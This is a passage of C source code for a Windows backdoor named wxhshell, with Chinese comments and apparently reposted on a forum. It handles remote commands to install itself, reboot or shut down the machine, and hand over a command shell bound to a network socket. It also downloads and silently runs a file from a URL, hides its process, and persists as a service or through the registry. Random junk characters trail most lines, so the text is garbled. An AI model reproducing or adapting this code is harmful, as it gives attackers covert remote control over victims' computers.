  else a_}BTkfHa  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T/spUlWu  
  } VEdnP+D  
  else { 59%f|.Z)  
s+\qie  
    switch(cmd[0]) { XQg%*Rw+t  
  cO"Xg<#y  
  // 帮助 ]@j"0F/`  
  case '?': { =[tls^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); QWQ6j#`  
    break; X0r#,u  
  } Stp*JU  
  // 安装 { P\8g8  
  case 'i': { ~"4vd 3  
    if(Install()) z6>ZV6(d2^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #t9=qR~"  
    else rc{[\1 -N  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l4BO@   
    break; 5fDtSsW  
    } 5l7L@Ey  
  // 卸载 LZAj4|~,m  
  case 'r': { vM>`CZ  
    if(Uninstall()) A1s=;qr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u Z39Vx  
    else Y_ ;i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^zluO   
    break; N=?kEX O  
    } i!+3uHWu`)  
  // 显示 wxhshell 所在路径 (P52KD[A[  
  case 'p': { Ok{:QA~#  
    char svExeFile[MAX_PATH]; _F$t#.o  
    strcpy(svExeFile,"\n\r"); +\(ay"+ d  
      strcat(svExeFile,ExeFile); s)'_{ A"h  
        send(wsh,svExeFile,strlen(svExeFile),0); $\J9F=<a  
    break; jX8C2}j  
    } ,knI26Jh  
  // 重启 a.*j8T  
  case 'b': { $}"Wta  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); y2ws*IZ"  
    if(Boot(REBOOT)) )k%drdY{J'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u B%^2{uU  
    else { c+K=pp@  
    closesocket(wsh); uJ5%JB("E  
    ExitThread(0); 2BU)qv-  
    } x%?*]*W  
    break; ,8-_=*  
    } $6x:aG*F  
  // 关机 p'c<v)ia  
  case 'd': { qYiK bzy  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )LMuxj  
    if(Boot(SHUTDOWN)) #WmAkzvq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `m0Uj9)#  
    else { t>|N4o  
    closesocket(wsh); )/i|"`)>_  
    ExitThread(0); 1^"aR#  
    } WuQ<AS=   
    break; $j2)_(<A%Q  
    } +mW$D@Pf  
  // 获取shell  #=~1hk  
  case 's': { TOF62,  
    CmdShell(wsh); 3V!&y/c<  
    closesocket(wsh); D$!p+Q  
    ExitThread(0); + T-zf@j  
    break; NF.6(PG|  
  } V +<AG*[  
  // 退出 7Mg7B  
  case 'x': { KGLhl;a  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); GyM%vGl 3  
    CloseIt(wsh); v.&*z48  
    break; }eRG$)'  
    } kvVz-P Jy  
  // 离开 r Q@o  
  case 'q': { cb&In<q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); teNQUIe-  
    closesocket(wsh); I=Dk'M  
    WSACleanup(); ymVd94L  
    exit(1); 4bjp*1*]  
    break; 7,VWvmWJex  
        } bh6wI%8H  
  } w^6N :]d  
  } ^dKaa  
6e-h;ylS  
  // 提示信息 '# 2J?f'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4 J2F>m40  
} GoA>sK  
  } T@.m^|~  
t>u9NZt G  
  return; ~vZzKRVS  
} u,9U0ua@;  
&fhurzzAm  
// shell模块句柄 ]8nm9qmF<  
int CmdShell(SOCKET sock) ?(UXK hs  
{ kAQZj3P]  
STARTUPINFO si; .-6s`C2 Y}  
ZeroMemory(&si,sizeof(si)); [|O6n"'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {+mkXp])R  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :=7;P)  
PROCESS_INFORMATION ProcessInfo; Ywq+l]5/p  
char cmdline[]="cmd"; BQ)43Rr>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [ +@<T)  
  return 0; L k+1r8  
} \I{A33i2w  
rX d2[pp  
// 自身启动模式 Y]0y -H  
int StartFromService(void) ghR]$SG  
{ fB}5,22  
typedef struct 'ZgW~G]S  
{ 6U3@-+lF  
  DWORD ExitStatus; 8=AKOOU7>  
  DWORD PebBaseAddress; t[ocp;Q  
  DWORD AffinityMask; T mE4p  
  DWORD BasePriority; &b8D'XQu  
  ULONG UniqueProcessId; J%B?YO,  
  ULONG InheritedFromUniqueProcessId; 9+|,aG s  
}   PROCESS_BASIC_INFORMATION; IoX 9yGq  
BV:,b S  
PROCNTQSIP NtQueryInformationProcess; j!n> d  
+Z0E?,Oz  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )O(Gw-jWE  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3<E$m *  
v@SrEmg  
  HANDLE             hProcess; [cs8/Q8+  
  PROCESS_BASIC_INFORMATION pbi; @(?d0xCg  
-^"?a]B  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?q&mI*j!  
  if(NULL == hInst ) return 0; ,"R_ve  
'F~SNIay  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;$;/#8`>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); f#MN-1[67  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); EmoU7iy  
Qt39H@c|z~  
  if (!NtQueryInformationProcess) return 0; SkUP9  
+38P$Koz{r  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {<BK@U  
  if(!hProcess) return 0; ,gD i)]  
}TLC b/+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;S j* {  
= F<`-6  
  CloseHandle(hProcess); %/C[\w p81  
'FXZ`+r|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _/\H3  
if(hProcess==NULL) return 0; Ww4G  
O, 6!`\ND  
HMODULE hMod; OaWq8MIZ-  
char procName[255]; KrzM]x  
unsigned long cbNeeded; ( mMz]b5  
|g+5rVbd  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); F9hWB17u  
j(2T,WM  
  CloseHandle(hProcess); :]jtV~E\  
g"f^YEQ_  
if(strstr(procName,"services")) return 1; // 以服务启动 c:TP7"vG  
!IU*Ayg  
  return 0; // 注册表启动 DR=1';63  
} @ U|u _S@  
PS1~6f"D  
// 主模块 Yw `VL)v(y  
int StartWxhshell(LPSTR lpCmdLine) $sJfxh r  
{ gC-0je  
  SOCKET wsl; xn[di-L F  
BOOL val=TRUE; Xs_y!l  
  int port=0; &[pw LYf7  
  struct sockaddr_in door; \)WjkhG<w#  
0<k!F3=  
  if(wscfg.ws_autoins) Install(); cxdM!L; `  
(5 hu W7v  
port=atoi(lpCmdLine); XPKcF I=  
( PlNaasV  
if(port<=0) port=wscfg.ws_port; `6su_8Hno  
sJ=B:3jS0  
  WSADATA data; {D< ?.'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; wl9icrR>  
" Xc=<rX  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   y0]O 6.{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); sqRuqUj+  
  door.sin_family = AF_INET; G= e[TR)i  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :8 :>CHa  
  door.sin_port = htons(port); Nx'j+>bz>y  
K6oLSr+EAK  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Hy'&x?F6  
closesocket(wsl); _L>n!"E/  
return 1; X.qKG0i  
} p10->BBg  
WkE;tC*  
  if(listen(wsl,2) == INVALID_SOCKET) { l:HuG!  
closesocket(wsl); f0+  
return 1; DK;-2K  
} g= 8e.Y*Fr  
  Wxhshell(wsl); ?Fu.,srt  
  WSACleanup(); 5N0H^  
|Sm/Uq(c  
return 0; 8qveKS]vZ  
zT8K})#  
} T8LwDqio  
F_`Gs8- VH  
// 以NT服务方式启动 iDr0_y*t  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) we3t,?`rk7  
{  3@*8\  
DWORD   status = 0; u#<]>EtbB  
  DWORD   specificError = 0xfffffff; _nUuiB>  
*v&RGY[>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; vr$ [  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; '"Gi&:*nQ<  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ko$R%W&T  
  serviceStatus.dwWin32ExitCode     = 0; =8-e1R/  
  serviceStatus.dwServiceSpecificExitCode = 0; -L@=j  
  serviceStatus.dwCheckPoint       = 0; zuw6YY8kQ  
  serviceStatus.dwWaitHint       = 0; :O2N'vl47A  
rcCM x"L=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :M16ijkx  
  if (hServiceStatusHandle==0) return; "- AiC6u  
?FyA2q!  
status = GetLastError(); dL>ZL1.$  
  if (status!=NO_ERROR) ,O(uuq  
{ &I8ZVtg  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; L`6`NYR  
    serviceStatus.dwCheckPoint       = 0; 90a= 39kI  
    serviceStatus.dwWaitHint       = 0; %"D-1&%zY  
    serviceStatus.dwWin32ExitCode     = status; K9c:K/H  
    serviceStatus.dwServiceSpecificExitCode = specificError; GmFNL/x8-v  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); umk[\}Ip+P  
    return; PYGHN T  
  } *P>F# ~X  
u56cT/J1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; c{[WOrA~#  
  serviceStatus.dwCheckPoint       = 0; K2JS2Y]  
  serviceStatus.dwWaitHint       = 0; H|]Q;,C  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); NeH^g0Q2,g  
} ET4YoH>  
zKo,B/Ke4  
// 处理NT服务事件,比如:启动、停止 5n<Efi]j  
VOID WINAPI NTServiceHandler(DWORD fdwControl) t+t&eg  
{ HzV3O-Qz]  
switch(fdwControl) K7|BXGL8r8  
{ 6;Bqu5_Cj  
case SERVICE_CONTROL_STOP: %5b2vrg~*  
  serviceStatus.dwWin32ExitCode = 0; 5K0Isuu>>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _ . _'\  
  serviceStatus.dwCheckPoint   = 0; U:H*b{`TU  
  serviceStatus.dwWaitHint     = 0; 1jR<H$aS  
  { 6v-h!1p{u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YvonZ  
  } p 4=^ UP  
  return; ] '..G-  
case SERVICE_CONTROL_PAUSE: umY4tNe]$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; o}BaZ|iZ2  
  break; OvkYzI`  
case SERVICE_CONTROL_CONTINUE: yfj<P/aA+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; u7K0m! jW  
  break; rR xqV?>n!  
case SERVICE_CONTROL_INTERROGATE: ebf0;1!  
  break; qbjRw!2?w  
}; o4xZaF4+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); : 7'anj  
} \O[Cae:^?  
n,`&f~tap  
// 标准应用程序主函数 ` 6PdMvF  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) w;XXjT  
{ ffdyDUzQ  
O:4.xe  
// 获取操作系统版本 opKtSF|)  
OsIsNt=GetOsVer(); D9h\=[%e  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {B 34^H:  
HghNI  
  // 从命令行安装 ~%cbp&s*/q  
  if(strpbrk(lpCmdLine,"iI")) Install(); E$gcd#rT  
9i n&\  
  // 下载执行文件 b1-JnEc  
if(wscfg.ws_downexe) { =KkHck33  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) JVRK\A|R  
  WinExec(wscfg.ws_filenam,SW_HIDE); P:=3;d{v  
} ,{$:Q}`  
7P=j2;7 v  
if(!OsIsNt) { > >p3#~/  
// 如果时win9x,隐藏进程并且设置为注册表启动 tcfUhSz,I  
HideProc(); Y>r9"X| &H  
StartWxhshell(lpCmdLine); k z<We/  
} VgOj#Z?K  
else ds`a6>746  
  if(StartFromService()) bV}43zI.  
  // 以服务方式启动 E1=]m  
  StartServiceCtrlDispatcher(DispatchTable); Lf3:' n  
else cJ&%XN  
  // 普通方式启动 :WE(1!P@  
  StartWxhshell(lpCmdLine);  QHOem=B  
}{s<!b  
return 0; jlItPd C v  
}
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只看该作者 1 发表于: 2006-10-10
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